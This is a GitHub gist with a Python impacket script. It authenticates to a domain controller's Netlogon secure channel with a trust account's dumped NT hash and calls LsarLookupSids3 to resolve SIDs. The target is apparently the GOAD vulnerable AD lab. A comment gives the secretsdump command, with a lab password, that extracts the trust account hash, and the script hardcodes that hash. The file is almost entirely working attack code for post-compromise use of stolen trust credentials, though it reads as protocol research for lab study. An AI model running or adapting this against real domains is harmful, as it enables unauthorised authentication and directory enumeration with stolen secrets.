Created
November 22, 2024 13:01
-
-
Save ThePirateWhoSmellsOfSunflowers/4bb3742e864f24ce7de1f3c7ac2a8300 to your computer and use it in GitHub Desktop.
Perform a lsarlookupsids3 with a trust account, it uses netlogon as SSP (see [MS-NRPC] 3.3)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from impacket.dcerpc.v5 import epm, lsad, rpcrt, transport, lsat, ndr, nrpc | |
from impacket.uuid import bin_to_uuidtup | |
from binascii import unhexlify | |
from random import randbytes | |
import sys | |
# Perform a lsarlookupsids3 with a trust account, it uses netlogon as SSP (see [MS-NRPC] 3.3) | |
# Pure TCP RPC is used (ncacn_ip_tcp option) | |
# RC4 is used here because to use AES, impacket must be patched | |
# Tested with impacket 0.12.0 on GOAD | |
# Usage example: python3 lsarlookupsids3.py S-1-5-21-3678000977-51576316-1987912040-1111 | |
# @lowercase_drm | |
try: | |
sid = sys.argv[1] | |
except IndexError: | |
print("Usage: {} SID".format(sys.argv[0])) | |
sys.exit(0) | |
# 192.168.56.12 | |
host="meereen.essos.local" | |
# secretsdump.py essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.56.12 -just-dc-user 'SEVENKINGDOMS$' | |
tdo_hash = unhexlify('0bfe1adfc9ba30639448ce213d36ec59') | |
# MS-NRPC 3.5.4.1 Binding Handles | |
# it can be '': If the string is NULL, the server is the same as the client (that is, the local computer) | |
primary_name = "\\\\meereen.essos.local" | |
# String that identifies the name of the account that contains the secret key (password) that is shared between the client and the server | |
# 'sevenkingdoms' also works | |
account_name = 'sevenkingdoms.local.' | |
# The client computer calling this method | |
computer_name = 'KINGSLANDING' | |
# Target domain | |
domain = 'ESSOS' | |
# The set_credentials() method needs a password but it is not used in this script | |
password = 'placeholder' | |
# Choose between INTEGRITY (SIGN) and PRIVACY (SIGN + SEAL) | |
# I recommend to swith to INTEGRITY for debugging with Wireshark | |
# authn_level_packet = rpcrt.RPC_C_AUTHN_LEVEL_PKT_INTEGRITY | |
authn_level_packet = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY | |
nrpc_uid = nrpc.MSRPC_UUID_NRPC | |
lsad_uuid = lsad.MSRPC_UUID_LSAD | |
syntax = rpcrt.DCERPC.NDR64Syntax | |
print("[x] SID to translate: {}".format(sid)) | |
print('[+] Calling hept_map: {}'.format(bin_to_uuidtup(nrpc_uid))) | |
binding_string_nrpc = epm.hept_map(host, nrpc_uid, dataRepresentation=syntax, protocol='ncacn_ip_tcp') | |
print("[x] Binding string: {}".format(binding_string_nrpc)) | |
rpctransport = transport.DCERPCTransportFactory(binding_string_nrpc) | |
dce = rpctransport.get_dce_rpc() | |
dce.connect() | |
dce.bind(nrpc.MSRPC_UUID_NRPC, transfer_syntax=bin_to_uuidtup(syntax)) | |
# First of all, we need to generate a session key and a client credential | |
clientchall = randbytes(8) | |
print("[-] client chall: {}".format("".join((format(x, '02x') for x in clientchall)))) | |
print("[x] Calling NetrServerReqChallenge") | |
resp = nrpc.hNetrServerReqChallenge(dce, primary_name, computer_name + '\x00', clientchall) | |
print("[x] NetrServerReqChallenge ok!") | |
serverchall = resp["ServerChallenge"] | |
print("[-] server chall: {}".format("".join((format(x, '02x') for x in serverchall)))) | |
sessionKey = nrpc.ComputeSessionKeyStrongKey(None, clientchall, serverchall, tdo_hash) | |
clientcred = nrpc.ComputeNetlogonCredential(clientchall, sessionKey) | |
print("[-] session Key: {}".format("".join((format(x, '02x') for x in sessionKey)))) | |
print("[-] client credential: {}".format("".join((format(x, '02x') for x in clientcred)))) | |
print("[+] Calling NetrServerAuthenticate3") | |
# Flag 0x600FFFFF to use RC4, 0x613FFFFF to use AES (but you need to patch impacket) | |
# TrustedDnsDomainSecureChannel to use a trust account | |
resp = nrpc.hNetrServerAuthenticate3(dce, primary_name + '\x00', account_name + '\x00', | |
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.TrustedDnsDomainSecureChannel, | |
computer_name + '\x00', clientcred, 0x600FFFFF) | |
print("[x] NetrServerAuthenticate3 ok!") | |
# Life is too short to verify server credential, so we only display it | |
servercred = resp['ServerCredential'] | |
print("[-] server credential: {}".format("".join((format(x, '02x') for x in servercred)))) | |
# Always call set_auth_level() after set_credentials() | |
# because set_credentials() reset the auth level to RPC_C_AUTHN_LEVEL_CONNECT | |
dce.set_credentials(computer_name + '$', password, domain) | |
dce.set_auth_type(rpcrt.RPC_C_AUTHN_NETLOGON) | |
dce.set_auth_level(authn_level_packet) | |
# dce.alter_ctx does not keep confounder settings and increments ctx_id, so we use bind() with alter=1 | |
resp = dce.bind(nrpc.MSRPC_UUID_NRPC, alter=1, transfer_syntax=bin_to_uuidtup(syntax)) | |
auth = nrpc.ComputeNetlogonAuthenticator(clientcred, sessionKey) | |
print("[-] Netlogon authenticator: {}".format("".join((format(x, '02x') for x in auth['Credential'])))) | |
dce.set_session_key(sessionKey) | |
print('[+] Calling NetrLogonGetCapabilities') | |
# This is our real test to know if the secure channel is ok | |
resp = nrpc.hNetrLogonGetCapabilities(dce, primary_name, computer_name, auth) | |
print("[x] NetrLogonGetCapabilities ok!") | |
# Authentication and secure channel are ok, we can now call lsarlookupsids3 | |
print('[+] Calling hept_map: {}'.format(bin_to_uuidtup(lsad_uuid))) | |
binding_string_lsad = epm.hept_map(host, lsad_uuid, dataRepresentation=syntax, protocol='ncacn_ip_tcp') | |
print("[x] Binding string: {}".format(binding_string_lsad)) | |
rpctransport = transport.DCERPCTransportFactory(binding_string_lsad) | |
dce = rpctransport.get_dce_rpc() | |
dce.connect() | |
dce.set_credentials(computer_name + '$', password, domain) | |
dce.set_auth_type(rpcrt.RPC_C_AUTHN_NETLOGON) | |
dce.set_auth_level(authn_level_packet) | |
dce.bind(lsad_uuid, transfer_syntax=bin_to_uuidtup(syntax)) | |
dce.set_session_key(sessionKey) | |
# impacket does not provide helper for LsarLookupSids3, so you need to manually create the PDU | |
request = lsat.LsarLookupSids3() | |
sidinfo = lsat.LSAPR_SID_INFORMATION() | |
sidinfo['Sid'].fromCanonical(sid) | |
request['SidEnumBuffer']['Entries'] = 1 | |
request['SidEnumBuffer']['SidInfo'].append(sidinfo) | |
request['TranslatedNames']['Names'] = ndr.NULL | |
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta | |
request['LookupOptions'] = 0x00000000 | |
print("[+] Calling LsarLookupSids3") | |
resp = dce.request(request) | |
# Use resp.dump() to display the raw response | |
print("[x] LsarLookupSids3 ok!") | |
print("[x] {0} is {1}\\{2}".format(sid, resp['ReferencedDomains']['Domains'][0]['Name'], resp['TranslatedNames']['Names'][0]['Name'])) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment